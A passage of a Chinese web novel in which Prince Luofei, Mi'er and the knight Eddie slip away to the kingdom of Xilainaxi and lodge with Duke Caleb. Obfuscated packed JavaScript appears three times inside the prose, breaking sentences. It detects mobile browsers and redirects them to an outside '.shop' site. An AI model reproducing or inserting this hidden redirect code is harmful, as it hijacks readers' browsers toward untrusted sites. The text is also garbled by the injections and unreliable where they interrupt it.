“谢谢父王和母后。”洛斐起身行礼,朝他们道谢后,转身看向坐着的米尔,“……也谢谢韦恩菲尔德大人的帮助。” 米尔偏了偏头,笑着说:“不用客气,洛斐殿下。” 接下来,洛斐将春讯的始末禀报给莱因哈特。他准备了许久的汇报,内容详尽周全,成功在莱因哈特那边过了关。 洛斐刚汇报完,便瞥见一旁的米尔起了身,像是准备回房。 “我和你一起。” 洛斐急切地开口,一边飞速地结束春讯汇报,顶着莱因哈特和薇洛希不解的目光,说:“我有问题要询问韦恩菲尔德大人。” 洛斐也不管他们信不信,待米尔和国王和王后行礼告别后,便跟着一同离开了。 夏初,城堡里的一切都变得不同。暖洋洋的日光洒在廊道上,照得满室明媚,洛斐跑到米尔身侧,与他并肩同行。 洛斐微微偏着脑袋,朝米尔压低声线,“谢谢你。” 米尔头也不回地往前走,目光只在洛斐身上停了一瞬,随口道:“殿下不用谢,你为春讯劳心费力,奖励自然是你应得的,总不好得到责备和惩罚。” 米尔说最后一句话时,别有深意地看向洛斐,他似乎不理解一个王子怎么会没日没夜地忙成这样,结果却主动提议要去边陲荒原。 真是古怪。 “我不是要讨要责备和惩罚,我是想为你……” ……为你拿到王子头衔。 洛斐本能地想要辩驳,但话到嘴边,他却先住了口。 当着那么多人的面说这些,未免有失王子体面,不太妥当,而且也和他先前的说法自相矛盾。他顺势改了口:“我是不想你这么快便原谅我,明明是失礼至极的话。” 米尔终归停下了,抬眸道:“真的不必在意,当时形势危急,你说什么话都有情可原,况且你也说得没错,也是为我着想。” 米尔不冷不热的语气依旧像是隔了层霜。 洛斐摸不透米尔的心思,但清楚先前的话绝对不算好听,微微垂首,“抱歉。” “好了,殿下你现在的任务是回房好好歇歇,而不是和我继续道歉。这已经是第几遍了?我都数不清了。” “可是……” “殿下如果真的为此感到抱歉,那便答应我一个请求就好。”米尔拍了拍他的肩,敛起笑意,认真道。 “好,你说。” “从此不许霸占我的卧房。” 洛斐微微蹙眉,“不好。” “……” 虽然米尔的请求在洛斐那边未成,但碍不住洛斐在春讯时精疲力竭。 他回温斯洛第一件事便是补上缺失的睡眠,又恰好有了不短的假期,于是他变本加厉,好几日连晨光都见不到。 日日昏昏欲睡就没机会去找米尔,更不可能去霸占他的卧房,也阴差阳错地如了米尔的心愿。 “洛斐殿下,要是被王后知道您摘了她培育的花,难逃责罚。”埃迪生无可恋地看向随意摧残花朵的洛斐。 原本他只是旁观,眼下被他拉着成了共犯。 早知道就不来探望洛斐了。 “你不去告状,谁会知道呢。”洛斐只挑着采了几朵熟透了的花,漫不经心地将花裹好,转头问:“一起去米尔那边?” “我大概去不了。”埃迪摇摇头。 “那我去了,你记得回去之前,把小黑放回猫窝。”洛斐权当是埃迪要训练骑士们,摸了摸躺着晒太阳的小黑猫,随口交代完便转身要去找人。 身后,埃迪犹豫地开口拦他,“殿下,你大概也不能去。” “为什么?”洛斐不解地问。 “洛缇公主来艾瑟兰了。”埃迪如实说道。 “她又来了?”洛斐语气稍有不快地说:“又来查看布雷克伍平原的洞穴?还是去看艾瑟兰别的古老遗迹?” “不是的。” 洛斐懒得对洛缇的来因刨根问底,下颌微扬,语气倨傲,“就算是她来了,我也能随心所欲地去找米尔,不是吗?” “殿下,洛缇公主不是……一个人来的,身边跟着不少陌生面孔。” “训练的骑士们说,他们是来接韦恩菲尔德大人回汐莱纳希的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601211|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “去汐莱纳希?”洛斐愣了一下,问:“米尔现在在哪里?” “在和洛缇公主叙旧喝茶。” 埃迪话音刚落便被洛斐喊着去找人。 “一起去拜访洛缇公主。” 米尔会去汐莱纳希是板上钉钉的事情,洛斐也清楚,只是没料到来得如此突然, 况且,米尔说好绝不会忘记告诉他,结果,他却是从埃迪口中得知的。 他们一路往花园凉亭走,路过的侍从们全都默契地没和洛斐问好。 毕竟,任谁都看得出来洛斐的不悦。 偏僻花园里的逼仄凉亭,洛斐很少来,一不好赏景,二不好喝茶,唯一的好处可能就是地方狭小,方便找人。 洛斐刚进入凉亭便看到了米尔,当然还有坐他对面眼里噙笑的洛缇。 洛斐的忽然出现,惊不起米尔的半分波澜,只是如往常般照旧问好:“早安,殿下。” 倒是一旁的洛缇愣了愣,看向四周荒无人烟的景色,问洛斐:“殿下好雅兴,早晨便来如此偏僻的地方赏景?” “不偏僻,我和米尔常来。”洛斐随口解释。他先吩咐埃迪坐下,转而询问洛缇:“洛缇公主此次是来探查哪一处洞穴?又或者是哪一隅古老遗迹?” “洛斐殿下全都猜错了,我呢。”洛缇看向米尔,继续道:“是来接米尔去汐莱纳希的。” “汐莱纳希?”洛斐随口应了一句,挨着米尔坐下,挂着标牌式的微笑,回答洛缇,“韦恩菲尔德大人是此次春讯的功臣,怎么能未得到嘉奖便离开?” “之后再得嘉奖也不晚。况且,去汐莱纳希,莱因哈特国王批准了。”洛缇直截了当地说。 莱因哈特国王一开口,即便是洛斐也不好说什么,只能将目光投向米尔那边。 “我们是要去汐莱纳希一趟,办些小事,大概很快就能回来。”米尔接住了洛斐闷闷不乐的视线,语气像是哄人,“殿下的训练和课程就要开始了,便不劳烦你陪同了。” 洛斐还处于被米尔爽约的惊讶中,一旁看好戏的洛缇先开了口,“原来你们早就说好了?洛斐殿下也确实很少去汐莱纳希,不如……” “好。” “洛缇!”米尔打断了她未说完的话,语气笃定地朝洛斐说:“殿下留在艾瑟兰就好,汐莱纳希那边,我会尽快解决,很快就会回来。” 洛缇饶有兴致地观赏着眼前两人海誓山盟的保证,不知道的,还以为是定下婚期的伴侣要去外出呢。 她原本还想添油加醋地说几句,将气氛继续进行下去,却被洛斐抢了先。 “好,我不陪你去。”洛斐不咸不淡地说。 洛斐倒也没有固执己见,兴许好好讲道理也能成功劝住他,米尔暗暗松了口气。 “但我得陪埃迪去。” “埃迪骑士也要去汐莱纳希?是参加演练吗?或者是贸易交流?”洛缇公主茫然地问了一遍,她不记得汐莱纳希近期与艾瑟兰有什么大型的交流活动。 “是去拜访我的爱人。”埃迪坦诚地说。 话音刚落,凉亭内所有视线全部投向了旁边一直闭口不言,一开口却语出惊人的埃迪身上。 “爱人?!” 22. 帮你 向来冷静自若的米尔,也一时恍惚,更不用说本就热衷热闹的洛缇,试探地开口问:“埃迪骑士的……爱人?” “凯勒布·梅洛特。”埃迪毫不隐瞒道。 “凯勒布公爵吗?真是让人惊讶。”洛缇对前所未有的新发现相当诧异,脑海中不知道思索些什么,无暇顾及身旁的米尔,便被洛斐钻了空子,“米尔,你难道要阻止我和埃迪同去汐莱纳希?” 米尔垂首喝茶,语气温和,“殿下请便。” “五日后见。” 洛斐当初在凉亭里夸下海口时有多威风,此刻请求莱因哈特和薇洛希批准时就有多狼狈。 “父王,我只是去汐莱纳希交流最近的演练情况。”洛斐站在莱因哈特眼前,深知对方不喜欢温言软语的请求,便面不改色地说:“顺便去参观一下汐莱纳希的骑兵训练。” 莱因哈特眉心微皱,盯着呈报看了许久,才抬眼看向洛斐,“不管是演练情况,还是骑兵训练,我自会派人去办,你就消停地待在温斯洛便好。” 洛斐见莱因哈特说不通,便转身走到一旁闭眼歇息的薇洛希身边,压低声线,语气软下来,“母后,我想去汐莱纳希王国游历一番,就当是增长见识了,况且还有埃迪和米尔陪同,不行吗?” 薇洛希抬眼看了看诚恳请求的洛斐,朝低头批阅文书的莱因哈特说:“洛斐想去汐莱纳希游历,身边又有米尔和埃迪陪同,让他去试试,也不是坏事。” 洛斐轻扯住王后的长裙袖口,赞同地点点头。 薇洛希只喜欢听软话,越软越好,而且往常她一开口,莱因哈特便不反对了。 这次也是如此。 “去到汐莱纳希不能张扬无礼,而且要在圣希尔学院结业典礼前回来。”莱因哈特照旧叮嘱道:“回来前记得交三份奏报。” “……” 得偿所愿后,洛斐自然是言听计从,百依百顺,三份奏报也全盘接受。最后还乖顺地点头道谢,“谢谢母后,谢谢父王。” 这不是洛斐第一次去汐莱纳希,需要准备的事项也略知一二,收拾妥当后,念及此行不是正式的拜访,便精简了跟随的队伍。 原本洛斐还在担忧同去的人员会不会过于单薄,但当看到洛缇和米尔时,忧虑消失了,也愣住了。 “你们就带两匹马?”洛斐摸了摸小白的鬃毛,朝他们身后望去,空荡荡得连片落叶都没有。 “对。”洛缇揉了揉棕发,目光投向温斯洛的城门方向,开口解释:“为了不耽误子民们的日常活动,其他人先去了城门外的树林等待。” “你们去汐莱纳希王国,也不带些人陪同?” 洛缇是回家,洛斐尚且不说。但米尔是去他国拜访,路程遥远,轻装上阵也未免太心大了。 “殿下,我们只是去一段时间,不需要如此隆重。” 米尔淡淡地回了句,探身看向洛斐身边,几位侍从正忙着往马车里搬满地的行囊。 礼服,绸缎,甚至有不少餐具,一点不像是平日游历,倒像是去赴宴。 米尔皱了皱眉,轻声说:“殿下的行装太累赘了,要适当地精简。” “而且也不能带那么多人同去,你和埃迪骑士即可。” “这些是必需品。”洛斐不解地反驳,早就精简了的行装哪里是累赘了,“况且是去他国拜访,当然不能敷衍和怠慢,稀稀落落的队伍会让人厌烦。” 米尔欲言又止,静静地看向洛斐,语气勉强,“行程特殊,你谅解。” 洛斐看见米尔这幅模样,还没搞清楚拜访邻国有何特殊,便先有了行动,吩咐为数不多的侍从撤了下去,行装也迅速地精简到了一小半。 一旁收拾马车的埃迪也被喊了过来。 一切准备就绪。 洛斐理了理袖口,扶着小白的马背,微微喘着气,问面前的米尔:“……现在好了?” “辛苦了。” 得到肯定回答后,洛斐才微微松了口气。也就只松了口气的时间,米尔便提议道,立即启程不要妨碍温斯洛的正常活动。 这点洛斐很认可。 一到正午时分想要通过温斯洛的主街道,就算是莱因哈特来了,也得挨几下面包才能离开。 事实证明,哪怕避开正午时分,想要全身而退也很困难。 洛缇坐着马车由埃迪护送,先一步离开,只有洛斐和米尔慢吞吞地在人群中挪动,日光最猛烈时,他们终于按照地图,如约来到了树林。 汐莱纳希王国算是艾瑟兰最为遥远的友邦,路程遥远,且地势复杂奇异,洛斐也鲜少去拜访,连带着人也不认识。 至少洛缇带来的那几个人,都是陌生面孔。 奇怪的是,洛斐不认识情有可原,但米尔也只是默默地问候,并无其他举动,反而和洛斐待得更久,聊得也较先前多。 汐莱纳希王国地势复杂,山地陡峭,是艾瑟兰王国的完全相反方。 “殿下还适应吗?” 米尔将水递给倚着石壁的洛斐,看起来懒懒的,兴致也不高。 “还好。”洛斐轻描淡写地说。除了天气炎热,山路崎岖和马匹疲惫,倒也尚可接受。 洛斐并不是常年待在城堡的挂名王子,这点困难倒不会造成影响。相比之下,他更加在意的是米尔今日反常的态度。 时不时地主动交谈,另类的耐心询问,甚至殷勤地给他递水。 太反常了。 洛斐看了眼远处叽叽喳喳的人群,直起了身,凑到米尔身边,试探地问:“你是不是被要挟了?还是说无法求救?” 米尔先是怔住,手中的水也忘了喝,转而不解地看了洛斐一会,艰难地理解了他的想法。 “你的思绪未免也太奔放了。”米尔笑着调侃他。 洛斐对他的调侃不置可否,继而定定地望着他,说:“你平日里不会和我待那么久,讲那么多空话。” “是吗?”米尔喝了口水,语气轻快地应道:“那我以后多和殿下闲聊,待在一起。” “米尔。” 洛斐神情严肃,语气认真,“你是不是有困难?” 人群的嘈杂渐渐消停,只剩两人眼眸相对,一时顿住。 “殿下,你真的想错了。”米尔垂首望向杯中流荡的水滴,不咸不淡地说:“只是对你心怀愧疚。” “愧疚?” “不和殿下同去汐莱纳希,是因为此行很辛苦,也未必能有什么收获。况且,殿下因此不能完成课程和训练,我怎么会不愧疚?” 洛斐蹙了蹙眉。 米尔继续道:“除了愧疚,想和殿下待在一起也是真的。” 这句话一出口,气氛变化,洛斐的脸色也变了。 洛斐嘴角噙着笑,语气扬起,“没你猜想的那么劳累,也不辛苦,训练和课程更不用你来担心。” “这是我好不容易向国王和王后求来的机会,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612793|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 我来说也是不可多得的历练。” 除却每次出行都会遇到的麻烦外,洛斐暂时没碰到什么特别的困难,完全谈不上辛苦。 “如果殿下不舒适,也不必勉强。” 米尔恢复了平日的疏离,语气带着一丝微微的温和。 “知道了。” 洛斐安心了,这才是真正的米尔。 问题解决后,洛斐望向留在后面的山地,知道汐莱纳希就要到了,随口问米尔:“汐莱纳希的骑士团会来迎接我们?” “不会。” 难不成是汐莱纳希的国王和王后亲自来,洛斐心里感慨他们的重视,“不用劳烦国王和王后,只是……” “汐莱纳希的人不知道。” “……” 洛斐愣了一瞬,反问:“不知道?汐莱纳希的国王和王后也不知道我们要来?” “是的。” “莱因哈特国王和薇洛希王后是怎么同意的?”洛斐不明所以地问。 父王和母后对米尔的看重程度,说是当王子来照顾也不为过,怎么会让人轻易跑去陌生地方,无接应。 米尔不慌不忙地指了指远处的马车,诚挚地开口提醒道:“洛缇公主。” 洛斐算是明白了。 这是拿拜访他国当借口,既能光明正大地离开,又免除了不少约束的妙招。 看来他看错人了。 米尔哪里是溜出王国都不敢的乖巧王子,分明是借故离开的高手。 洛斐花了几秒消化米尔的话语,直视他的眼眸,试探地询问:“你要做的事,只有我们这群人的帮助能顺利完成吗?” “不是只有我们。”米尔摇了摇头。 洛斐稍稍安心。 尽管没有汐莱纳希王室的帮助,但至少有人相助,不算是单枪匹马地穿荡陌生地带了。 米尔忽然说:“不是的,准确地说只有埃迪,你和我。” “?”洛斐怔怔地望着米尔,看向原本嘈杂的人群,问:“洛缇公主和他们怎么……” 马车旁方才还闹得像是炸开了锅,眼下早就鸦雀无声了。 “洛缇公主和她带来的同伴?” “先走了。” “她们就这么走了?” “洛缇有和你问候,我也向你指了指,殿下可能没留意。” “你不用担心,应该是去勘探诺薇拉王国新发掘的洞穴,或者是查看维林诺斯特平原的地貌,洛缇向来钟情于它们。”米尔垂首检查马蹄和肚带。 王国公主一声不响地跑了,哪怕是身处艾瑟兰王国那种宽松环境中长大的洛斐,也无法坦然理解。 这未免也太自由了。 “汐莱纳希的国王和王后不管吗?” 洛斐话刚问出口,便反应了过来,汐莱纳希的王室,可是出了名的复杂。 宫廷政变,贵族叛乱,民众起义都暂且不说,重点是滥情的国王不消停,遍地的公主和王子也不隐瞒,偏要闹得人尽皆知。 王室内部动荡最为严重。 洛缇便也就此被冷落了。 没等米尔回答,洛斐先自问自答地调侃:“光明正大地前来,却要躲躲藏藏,我们真是古怪极了。” 米尔顿了顿,说起那些常常重复的话,“如果殿下不愿……” “我愿意。” 洛斐撑着小白的脊背,定定地望着米尔,一字一句地说:“帮你,我愿意。” 23. 汐莱纳希 埃迪放马回来时,人群连带着马车全都消失得无影无踪。 他还未来得及疑问,便见洛斐和米尔隔着小白目光交汇,接着两人不约而同地别开脸去,眉眼弯弯的,远远看着倒不像是发生了坏事。 “埃迪,你回来了?” 洛斐见埃迪回来,接过他手中的缰绳,语气无奈地继续道:“洛缇公主带着人去探险了,现在只剩咱们了。” 洛斐原本猜想的不解和诧异并未出现在埃迪身上,取而代之的却是一种微妙的局促。 米尔翻身上马,猜到了埃迪窘迫的来源,笑着说:“埃迪要去看望爱人,殿下你忘了?” “凯勒布·梅洛特?”洛斐顺势问道。 尽管洛斐和埃迪从小一起长大,但他不太清楚这位别国偏僻地方的公爵,甚至对他们如何认识的也了解不深。 “是。”埃迪不自觉地浮起笑意,轻声说:“但我能陪殿下和米尔再走一段路程。” 洛斐没反对也没答应。 他只是好奇,到底是什么人,能将埃迪迷成这幅模样。 米尔低头拍了拍他的肩膀,洛斐才从猜测中回了神,“好,那便一起去汐莱纳希。” 既然汐莱纳希的国王和王后皆不知他们的到来,那便轻松闲适多了,也无需拘束。 短短的路程便走得极慢,极缓。 如若没有埃迪不停地变相催促,米尔和洛斐能晃晃荡荡地走到天色全黑。 他们先来到的是一座连名字都没有的城镇。 虽说名字是无名镇,但风光却不赖。 洛斐看着眼前的景色,忽然想到小时候吃的蜂蜜蛋糕,入口是涩腻的甜,后来则是浓郁的香气。 汐莱纳希王国就是如此。 入眼的是寸步难行的高山,进入汐莱纳希国境便是真正的人间仙境。 水源滋养的石板路折射着日光,哪怕是初夏季节,飘散的空气中也毫无暑气,反而满是清凉,一层一层地漫了上来。 洛斐看了眼脚下的青石板和远处别具一格的拱桥,压低声线,“汐莱纳希王国的长久兴盛也许就仰仗着这般得天独厚的环境了。” “洛斐殿下,请慎言。”埃迪按捺不住地劝说。 “埃迪,我还不至于知名到连汐莱纳希的子民都耳熟能详的程度。”洛斐淡淡地回他。如果没人前来迎接,他们三人在汐莱纳希小镇被认出来的概率,未必有街道旁小摊摊主的大。 “汐莱纳希的光景是不错。”米尔看了一圈,笑着朝洛斐说:“要陪你来逛逛吗?” “别了,你办好你的事情就好,闲逛先放放。”没人认识,洛斐算是彻底没了拘束,懒懒地和米尔说完,见米尔四处打量也不停,问:“我们接下来去做什么?” “去找地方住。” 洛斐点点头,继续问:“去你在汐莱纳希的家?” “没有家。”米尔语气平淡,回头看向两人,语气依旧波澜不惊,“我们可能连旅店都无法入住。” “为……” 洛斐的疑问还没讲出口,便想起来他们现在的境况可不乐观。 既不能让汐莱纳希的王室知道他们的存在,又不能让远在艾瑟兰王国的莱因哈特和薇洛希起疑。 他们如今举步维艰。 “好,我们去找野地。”洛斐当即接受了这个巨大变故,贴心地往人烟稀少的荒地方向走,旅店不行,荒郊野岭总可以。 “殿下未免太轻率了。”米尔握住他手腕将人拉回来,说:“埃迪还没讲话呢?” 埃迪听见自己名字时,微微一怔,转身看了眼城镇构造,犹豫地提议道:“不然和我一起去夏塞林,就是凯勒布在的汐莱纳希的边境。” 埃迪去看望许久未见的爱人,他们也跟着前去打扰,总归不算妥当。 不如睡在野地,起码自在。 “不用。” “辛苦埃迪骑士带路了。” 洛斐诧异地转头,看向平静接受提议的米尔,问:“你要去和埃迪一起去夏塞林?” “夏塞林很近,顶多半日就到了,对现在的我们来说,是万全之策。” 洛斐了解米尔,既然主动问了便不会只是为了蹭住,多半对此行的目的有帮助。 “听你的。”洛斐舒展着身子,半开玩笑地朝埃迪道谢,“正好拜访埃迪的爱人,看看是否是值得托付。” 埃迪掠过洛斐口中的调侃,看了面前的两人一眼,踌躇道:“他的性子怪,恐怕会让二位不适,还望海涵。” 洛斐满不在乎,也认知清晰。 他和米尔的性子一个比一个古怪。对方性格再奇特,他也能面无表情地接受。米尔语气平淡地答应着,依旧是对一切极有把握的模样。 夏塞林距离无名城镇不远,米尔说得异常精准,日落前他们就准时到了夏塞林的最西方,也就是凯勒布公爵的居所。 眼前的灰石城堡看起来不小,装饰也极其别致。 绿藤缠绕,满目苍翠。 扑面而来的是果蔬植株混杂的香气,至少证明主人是个有点品味的人,洛斐暂且满意地跟在米尔身后。 城堡入口是一条细长的廊道,洛斐看了眼四周布满的藤蔓,望向走不到头的长廊出口,肩膀传来阵阵凉气。 奇怪。 凉气哪里出来的? “埃迪,凉气怎……” 洛斐的话被突如其来的人吓了回去。 他看着从满是藤蔓环绕的墙壁中冒出来的年轻男人,下意识地后退,一直走到米尔身旁,才严肃地问:“你是?” 男人理也没理他,径直跑向前方带路的埃迪身边,脑袋埋进他肩窝里,闷闷地开口:“哥,你怎么突然回来夏塞林了?” 洛斐还是第一次被这般忽视,险些无法敛起情绪。 米尔在旁悄悄扯了下他袖口,洛斐最终还是战胜恼火,挂起客气的笑,顺着猜测问好:“凯勒布公爵?” 凯勒布依然埋在埃迪肩窝里,只是微微挪开脑袋,敷衍地朝他们回了句,“是。” 而后视线重新转向埃迪,直直地望着他,“哥,这是你上次说要带来的骑士们吗?” 洛斐和米尔皆是一愣,先前确实忘了身份的事。 好在,埃迪上次来汐莱纳希演练倒是给了他们顺水推舟的由头。 “您好,凯勒布公爵。”米尔微微欠身,礼数周全地问候。 洛斐愣了愣,不情不愿地照着米尔的样子再次向眼前人问候,“您好,……凯勒布公爵。” “嗯。” 凯勒布眼睛不带扫一下的,语气冷,倨傲得很。明明也长了双墨黑的瞳孔,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619880|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 比米尔的少了清澈和深邃,目光投向他们时,透着藏不住的阴冷。 洛斐不悦。 这哪里是性子古怪,分明是眼高于顶,目中无人。 一旁的埃迪也不推开乱蹭的脑袋,转头提醒他,“凯勒布,不许对米尔和……洛斐无礼,他们是我的好友。” “抱歉,哥。” 凯勒布微微垂头,轻声道完歉,不加辩解地朝米尔和洛斐微微颔首,语气放软,“你们好,欢迎来到夏塞林。” 洛斐碰了碰米尔的手臂,刚想趁面前两人旁若无人地叙旧,低声数落凯勒布几句,却被米尔一连串的话给堵了回去。 “凯勒布公爵,我们久仰夏塞林的风光,便趁着休假,劳烦埃迪领路。”米尔故作懊恼地继续说:“又恰好旅店客满,只好前来叨扰,借贵处歇息一日,来缓解长途奔波的劳累,可以吗?” “我的荣幸,夏塞林的荣幸。” 洛斐虽然对凯勒布各个方面皆是不悦,但依旧入住了这座藤蔓城堡。 城堡除却布满的藤蔓,以及随处可冒出来凉气的通风口外,倒也算是别开生面的好地方。 米尔说是歇一日就好,可真住了进来,一待就是好几日,日日喊着洛斐一起去闲逛。 正经事没办,城堡倒是逛了一遍又一遍。 好在凯勒布除了忙公务,便是和埃迪一起待着,偌大的城堡也不会主动赶他们。 但是洛斐对他的不快,不会因此而消散。 哪怕他对埃迪的依赖不像是演出来的,但就是奇怪,说不出来的古怪。 于是,入住城堡的第七日,洛斐翻来覆去就是难以入睡,披上衣袍本能地跑到米尔住的卧房。 藤蔓组成的长廊又是四处透风,洛斐不自觉地紧了紧领口。 到了别处也是选最偏僻的地点。 真不愧是米尔。 洛斐推门进去,果不其然地看见米尔正坐在床铺上看书,对方眼皮也没掀起来,不冷不热地说:“殿下真是来了别国也依旧喜欢夜晚拜访。” 洛斐没回答,而是搬来木椅,在米尔眼前坐下,定定地看着他。 米尔皱了皱眉,不明所以地问:“你是来监视我的吗?” “不是。”洛斐当即否认,摸了摸后颈,犹豫地问:“你不觉得……凯勒布很奇怪吗?” “殿下,平时我们开开玩笑也就罢了,但每个人的性情大不相同,不能因此便说他人古怪。”米尔知道他没有大事后松口气,随口道。 “不是。”洛斐神情严肃地反驳,探身向前,“为什么平时讲话都要小心翼翼?偌大的城堡,却连个侍从都没有?甚至洛缇公主如此爱热闹的人,竟也不知道这件事。” “而且路过凯勒布卧房时,总是有巨大的声音传来,极其震耳。” 米尔也往前坐了坐,叹着气解释:“汐莱纳希王国本就不兴用侍从,凯勒布公爵一向低调,露面的机会都极少,洛缇不知道也正常。” “至于小心翼翼,那是他们伴侣间的相处方式。” 洛斐不作罢地问:“那巨大的声响呢?” 米尔愣了愣,望着洛斐秋日色的眼眸,一时语塞,无力地反问:“那殿下想做什么呢?” “你可是米尔·韦恩菲尔德,你不清楚?”洛斐托着腮,意味深长地说。 24. 凯勒布·梅洛特 “不清楚。” 米尔打着哈欠,扯着毛毯躺下,随口说了句,“这里不是艾瑟兰王国,我们需要谨慎,殿下还是快回去休息,不要夜晚拜访了。” 米尔侧躺着不去看洛斐,哪怕睡不着,他依然闭眼歇会,直至耳边的声响渐渐消失。 他松口气,到底是王国王子,还是极有分寸。 话在米尔脑海里刚轮完一遍,他的肩膀就被重物压住了,连带着毛毯在内全部被身后的洛斐捞在怀里。 米尔猛地一惊,理解了莱因哈特和薇洛希口中毫不顾及的洛斐王子。 “你……”米尔下意识推着他的肩膀。 结果,推也推不开,动也动不得。 洛斐将全身力气用在了他身上,加上被从背后抱住,米尔连三分劲都使不上。 “你疯了吗?”米尔试着朝下面挣脱,结果也被洛斐的腿给生生截住了。 从背后忽然抱住别人,和偷袭有什么区别。 “没疯。”洛斐一接触床和毛毯,语气自然地带了倦,说:“你不是要睡吗?晚安。” 米尔又气又恼,又很无力。反手拍了拍他的后背,“你要做什么?” “去找他们……” 洛斐话没说完,便见米尔猛地转过头,险些鼻尖相触,“你要去他们卧房偷听?” 向来云淡风轻的语气里,洛斐竟看出了些许激动,不解地反问:“你为什么那么激动?” “我只是想说去问问他们,你怎么能联想到去偷听?” 洛斐也理解不了米尔的脑回路,还没来得及想明白,怀里骤然一松,米尔已经落了地。他抬手穿好外袍,回头喊愣着的洛斐,“我勉强陪你去。” 洛斐看着米尔那双蕴含碎光的眼眸,那副期待模样,不自觉地蹭了蹭身下的毛毯,说:“你这是在勉强吗?” 洛斐把脸往毯子里一埋,闷声说:“你的毯子真舒服……今晚太晚了,明日再去。” “明日?” 米尔抱臂站在一旁,望着抱着毛毯即刻就能陷入睡眠的洛斐,语气平淡地说:“殿下怕是闲久了,便忘记先前日日排满的公务了。” “凯勒布公爵明日要去巡视边境,如果今日没问出来,恐怕直到返回艾瑟兰王国,我们依然一无所知。” 听见“巡视边境”四个字,洛斐唰地抬起头,恍惚地看向眼前的米尔。 愣了好一会才反应过来,他现在是夏塞林,不是在艾瑟兰接受任务,而后将脑袋重新塞回毯子,故作镇定地说:“偷听他人的谈话,是极其不合礼仪,违背道德的事。” “你不由分说抱住别人时,怎么不管礼仪道德了?”米尔挑了挑眉,笑着问他。 米尔猛地起身,抬起头反驳,“不一样。” 争辩后,他语气讪讪地补了一句,“我也只抱过你,而且我也不抱陌生人。” 越辩解越乱,洛斐索性不再讲了,利落地下了床,应了米尔的邀请。 去人家卧房门口偷听的邀请。 夏塞林的夜幕浓黑,但和艾瑟兰王国一抬眼便是漆黑一片不同。 在夏塞林,洛斐一抬眼便能望见繁星璀璨,不由地说:“夏赛林的夜晚很美。” 一旁蜷缩在转角雕像后的米尔不适地开口:“殿下,我们现在的境况,好像不太适合赏夜景?” 明明默默地站在一旁便能完美隐匿,洛斐却执意要躲在雕像后面,觉得这样才称得上万无一失。 结果,两人只能肩靠肩地缩身在狭窄的雕像后,丁点动弹不得。 “很适合。”洛斐见米尔抱着双膝,往身旁挪了挪位置,小声说:“只是不知道凯勒布·梅洛特会不会离开卧房?” 身边的位置略微宽松,米尔稍微松口气,转头看向浑身透露着不悦的洛斐,不解地问:“殿下,了解凯布勒公爵吗?” “不相识。”洛斐直截了当地回答。 米尔轻轻叹了口气,语气无奈,“殿下知道埃迪骑士和凯勒布公爵如何认识的吗?” 洛斐被问得哑口无言,别开脸,“……知道一点。” 小时候,莱因哈特给他安排的课程说是缔造一代绝世国王也不为过,虽然目前看来,未能见效,但洛斐确实累到了。 整日要做的事情只有维持生命和学习,真的没有时间去了解埃迪口中的满分爱人。 况且,埃迪很少和他提起凯勒布的存在,多数时候都是一笔带过。 洛斐顿了一会,压低声线反驳他,“你如果知道我那时候的课程安排,你就会理解了。” “而且,前些年埃迪总是跟着侯爵去别国游学,我们极少见面……”洛斐忽然明白了什么,垂首凑近米尔,低声问:“你是不是早就知道了?” “能猜到大概。”米尔缩了缩无处安放的腿,淡淡地开口:“前几年汐莱纳希抵御外敌时,艾瑟兰曾伸出援手。埃迪骑士那是年纪虽小,也跟去后场参与救助伤员。” “而凯勒布公爵恰在那一战中失去了双亲和姐姐,会依赖救他的埃迪,倒也不难理解。” 洛斐摇了摇头,跟着解释:“埃迪回到艾瑟兰仍然与他有书信来往,却从不让人知道。再者说,埃迪性子稳重,怎么会跟凯勒布那种稚气未脱的少年胡闹?” “不是玩闹。” “怎么会不是……” 洛斐说至一半,突然意识到传来的这道声音不大对劲,米尔赌生气时的声音也比它温和不少。 洛斐转头看向一同呆愣的米尔。 糟了。 被发现了。 埃迪和凯勒布正站在门口,透过微微敞开的门缝望着他们。前者困惑,后者不满地看了眼他们,语气带着恼意和不解,“两位大人真是好雅兴,深夜在我们房前欣赏夜景?” 熟悉的场景,和赛维恩庄园那次如此相似,连两人的反应也如出一辙,洛斐恨不得找块地缝钻进去。 相反,米尔却神情淡然,像是真的来赏夜景。 “凯勒布公爵,夏塞林的夜景着实耀眼,你们也一道来赏景?”米尔诚恳地邀请。 偷听被抓,反而邀请对方一道赏景,也只有米尔做得出来。 洛斐刚想开口婉拒,拉着米尔要回卧房,却被凯勒布一句话堵住了去路。 “洛斐殿下,不一同去吗?要比雕像后的位置强多 